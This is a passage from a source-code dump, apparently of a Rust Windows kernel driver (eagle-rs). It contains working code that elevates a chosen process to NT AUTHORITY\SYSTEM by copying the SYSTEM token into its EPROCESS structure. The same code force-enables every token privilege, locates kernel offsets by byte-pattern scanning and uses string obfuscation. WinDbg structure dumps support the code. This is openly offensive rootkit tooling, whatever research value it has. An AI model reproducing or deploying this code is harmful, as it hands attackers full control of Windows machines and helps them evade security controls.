DynamicAvailable : Uint4B 438 | +0x090 DefaultOwnerIndex : Uint4B 439 | +0x098 UserAndGroups : Ptr64 _SID_AND_ATTRIBUTES 440 | +0x0a0 RestrictedSids : Ptr64 _SID_AND_ATTRIBUTES 441 | +0x0a8 PrimaryGroup : Ptr64 Void 442 | +0x0b0 DynamicPart : Ptr64 Uint4B 443 | +0x0b8 DefaultDacl : Ptr64 _ACL 444 | +0x0c0 TokenType : _TOKEN_TYPE 445 | +0x0c4 ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL 446 | +0x0c8 TokenFlags : Uint4B 447 | +0x0cc TokenInUse : UChar 448 | +0x0d0 IntegrityLevelIndex : Uint4B 449 | +0x0d4 MandatoryPolicy : Uint4B 450 | +0x0d8 LogonSession : Ptr64 _SEP_LOGON_SESSION_REFERENCES 451 | +0x0e0 OriginatingLogonSession : _LUID 452 | +0x0e8 SidHash : _SID_AND_ATTRIBUTES_HASH 453 | +0x1f8 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH 454 | +0x308 pSecurityAttributes : Ptr64 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION 455 | +0x310 Package : Ptr64 Void 456 | +0x318 Capabilities : Ptr64 _SID_AND_ATTRIBUTES 457 | +0x320 CapabilityCount : Uint4B 458 | +0x328 CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH 459 | +0x438 LowboxNumberEntry : Ptr64 _SEP_LOWBOX_NUMBER_ENTRY 460 | +0x440 LowboxHandlesEntry : Ptr64 _SEP_CACHED_HANDLES_ENTRY 461 | +0x448 pClaimAttributes : Ptr64 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION 462 | +0x450 TrustLevelSid : Ptr64 Void 463 | +0x458 TrustLinkedToken : Ptr64 _TOKEN 464 | +0x460 IntegrityLevelSidValue : Ptr64 Void 465 | +0x468 TokenSidValues : Ptr64 _SEP_SID_VALUES_BLOCK 466 | +0x470 IndexEntry : Ptr64 _SEP_LUID_TO_INDEX_MAP_ENTRY 467 | +0x478 DiagnosticInfo : Ptr64 _SEP_TOKEN_DIAG_TRACK_ENTRY 468 | +0x480 BnoIsolationHandlesEntry : Ptr64 _SEP_CACHED_HANDLES_ENTRY 469 | +0x488 SessionObject : Ptr64 Void 470 | +0x490 VariablePart : Uint8B 471 | */ -------------------------------------------------------------------------------- /driver/src/string/mod.rs: -------------------------------------------------------------------------------- 1 | use winapi::shared::ntdef::UNICODE_STRING; 2 | 3 | pub fn create_unicode_string(s: &[u16]) -> UNICODE_STRING { 4 | let len = s.len(); 5 | 6 | let n = if len > 0 && s[len - 1] == 0 { len - 1 } else { len }; 7 | 8 | UNICODE_STRING { 9 | Length: (n * 2) as u16, 10 | MaximumLength: (len * 2) as u16, 11 | Buffer: s.as_ptr() as _, 12 | } 13 | } -------------------------------------------------------------------------------- /driver/src/token/mod.rs: -------------------------------------------------------------------------------- 1 | use common::TargetProcess; 2 | use winapi::{shared::{ntstatus::{STATUS_UNSUCCESSFUL, STATUS_SUCCESS}}}; 3 | use winapi::shared::ntdef::{NTSTATUS, UNICODE_STRING}; 4 | use crate::{process::{memory::{Process, Token}, get_function_base_address}, includes::ProcessPrivileges}; 5 | 6 | use crate::string::create_unicode_string; 7 | 8 | /// Enables all token privileges for the targeted process 9 | pub fn enable_all_token_privileges(process: *mut TargetProcess) -> NTSTATUS { 10 | 11 | // Must get system before enabling all token privileges otherwise all privileges won't be enabled 12 | get_system(process); 13 | 14 | // Get target process EPROCESS 15 | let target_process = match unsafe { Process::by_id((*process).process_id as u64) } { 16 | Some(p) => p, 17 | None => return STATUS_UNSUCCESSFUL, 18 | }; 19 | 20 | // Get System process EPROCESS (process ID is always 4) 21 | let system_process = match Process::by_id(4) { 22 | Some(p) => p, 23 | None => return STATUS_UNSUCCESSFUL, 24 | }; 25 | 26 | 27 | // Get target process EPROCESS.Token 28 | let target_token = match Token::by_token(target_process.eprocess) { 29 | Some(t) => t, 30 | None => return STATUS_UNSUCCESSFUL, 31 | }; 32 | 33 | // Get system process EPROCESS.Token 34 | let _system_token = match Token::by_token(system_process.eprocess) { 35 | Some(t) => t, 36 | None => return STATUS_UNSUCCESSFUL, 37 | }; 38 | 39 | //The EPROCESS.Token.Privileges offset has not changed change since Windows Vista so we can hardcode here. 40 | let target_process_privileges = unsafe { 41 | (target_token.token.cast::().offset(0x40)) as *mut ProcessPrivileges 42 | }; 43 | 44 | unsafe { 45 | // Consistent accross build versions (System process EPROCESS.Token.Privileges) 46 | (*target_process_privileges).present = u64::to_le_bytes(0x0000001ff2ffffbc); 47 | (*target_process_privileges).enabled = u64::to_le_bytes(0x0000001ff2ffffbc); 48 | //(*target_process_privileges).enabled_by_default = u64::to_le_bytes(0x0000001ff2ffffbc); 49 | }; 50 | 51 | 52 | log::info!("Enabled All Token Privileges"); 53 | 54 | return STATUS_SUCCESS; 55 | } 56 | 57 | /// Elevates to NT AUTHORITY\SYSTEM 58 | fn get_system(process: *mut TargetProcess) -> NTSTATUS { 59 | 60 | // Get target process EPROCESS 61 | let target_process = match unsafe { Process::by_id((*process).process_id as u64) } { 62 | Some(p) => p, 63 | None => return STATUS_UNSUCCESSFUL, 64 | }; 65 | 66 | // Get System process EPROCESS (process ID is always 4) 67 | let system_process = match Process::by_id(4) { 68 | Some(p) => p, 69 | None => return STATUS_UNSUCCESSFUL, 70 | }; 71 | 72 | // Dynamically get EPROCESS.TOKEN offset from PsReferencePrimaryToken 73 | let eproccess_token_offset = match get_eprocess_token_offset() { 74 | Some(e) => e, 75 | None => return STATUS_UNSUCCESSFUL, 76 | }; 77 | 78 | let target_token_address = unsafe { (target_process.eprocess.cast::().offset(eproccess_token_offset as isize)) as *mut u64}; 79 | let system_token_address = unsafe { (system_process.eprocess.cast::().offset(eproccess_token_offset as isize)) as *mut u64 }; 80 | 81 | log::info!("target_token: {:?}, system_token {:?}", unsafe { target_token_address.read() }, unsafe { system_token_address.read() } ); 82 | 83 | unsafe { target_token_address.write(system_token_address.read()) }; 84 | log::info!("W00TW00T NT AUTHORITY\\SYSTEM: {:#x}", unsafe { target_token_address.read() }); 85 | 86 | return STATUS_SUCCESS; 87 | 88 | } 89 | 90 | ///Gets the EPROCESS.Token offset dynamically 91 | pub fn get_eprocess_token_offset() -> Option { 92 | 93 | let unicode_function_name = &mut create_unicode_string( 94 | obfstr::wide!("PsReferencePrimaryToken\0") 95 | ) as *mut UNICODE_STRING; 96 | 97 | let base_address = get_function_base_address(unicode_function_name); 98 | 99 | if base_address.is_null() { 100 | log::error!("PsReferencePrimaryToken is null"); 101 | return None; 102 | } 103 | 104 | let func_slice: &[u8] = unsafe { core::slice::from_raw_parts(base_address as *const u8, 0x19) }; //mov rdi,rcx 105 | 106 | //4883ec 107 | let needle = [0x48, 0x83]; //4883ec20 sub rsp,20h 108 | 109 | if let Some(y) = func_slice.windows(needle.len()).position(|x| *x == needle) { 110 | let position = y + 7; 111 | let offset_slice = &func_slice[position..position + 2]; //u16::from_le_bytes takes 2 slices 112 | let offset = u16::from_le_bytes(offset_slice.try_into().unwrap()); 113 | log::info!("EPROCESS.TOKEN offset: {:#x}", offset); 114 | return Some(offset); 115 | } 116 | 117 | return None; 118 | 119 | } 120 | 121 | 122 | /* 123 | 0: kd> dt nt!_EPROCESS 124 | <...Omitted...> 125 | +0x4b8 Token : _EX_FAST_REF 126 | <...Omitted...> 127 | 128 | 0: kd> dt nt!_TOKEN 129 | <...Omitted...> 130 | +0x040 Privileges : _SEP_TOKEN_PRIVILEGES 131 | <...Omitted...> 132 | 133 | 0: kd> dt nt!_SEP_TOKEN_PRIVILEGES 134 | +0x000 Present : Uint8B 135 | +0x008 Enabled : Uint8B 136 | +0x010 EnabledByDefault : Uint8B 137 | 138 | 0: kd> dt nt!_SEP_LOGON_SESSION_REFERENCES 139 | +0x000 Next : Ptr64 _SEP_LOGON_SESSION_REFERENCES 140 | +0x008 LogonId : _LUID 141 | +0x010 BuddyLogonId : _LUID 142 | +0x018 ReferenceCount : Int8B 143 | +0x020 Flags : Uint4B 144 | +0x028 pDeviceMap : Ptr64 _DEVICE_MAP 145 | +0x030 Token : Ptr64 Void 146 | +0x038 AccountName : _UNICODE_STRING 147 | +0x048 AuthorityName : _UNICODE_STRING 148 | +0x058 CachedHandlesTable : _SEP_CACHED_HANDLES_TABLE 149 | +0x068 SharedDataLock : _EX_PUSH_LOCK 150 | +0x070 SharedClaimAttributes : Ptr64 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION 151 | +0x078 SharedSidValues : Ptr64 _SEP_SID_VALUES_BLOCK 152 | +0x080 RevocationBlock : _OB_HANDLE_REVOCATION_BLOCK 153 | +0x0a0 ServerSilo : Ptr64 _EJOB 154 | +0x0a8 SiblingAuthId : _LUID 155 | +0x0b0 TokenList : _LIST_ENTRY 156 | 157 | 0: kd> dt _sep_token_privileges ffff99081d2305b0+0x40 158 | nt!_SEP_TOKEN_PRIVILEGES 159 | +0x000 Present : 0x0000001f`f2ffffbc 160 | +0x008 Enabled : 0x0000001e`60b1e890 161 | +0x010 EnabledByDefault : 0x0000001e`60b1e890 162 | 163 | 0: kd> u PsReferencePrimaryToken 164 | nt!PsReferencePrimaryToken: 165 | fffff800`59268f70 48895c2410 mov qword ptr [rsp+10h],rbx 166 | fffff800`59268f75 48896c2418 mov qword ptr [rsp+18h],rbp 167 | fffff800`59268f7a 56 push rsi 168 | fffff800`59268f7b 57 push rdi 169 | fffff800`59268f7c 4156 push r14 170 | fffff800`59268f7e 4883ec20 sub rsp,20h 171 | fffff800`59268f82 488db1b8040000 lea rsi,[rcx+4B8h] 172 | fffff800`59268f89 488bf9 mov rdi,rcx 173 | */ -------------------------------------------------------------------------------- /notepad_protect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/memN0ps/eagle-rs/da9a9d04b18fea58870aa1dbb71eaf977b923664/notepad_protect.png -------------------------------------------------------------------------------- /notepad_unprotect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/memN0ps/eagle-rs/da9a9d04b18fea58870aa1dbb71eaf977b923664/notepad_unprotect.png --------------------------------------------------------------------------------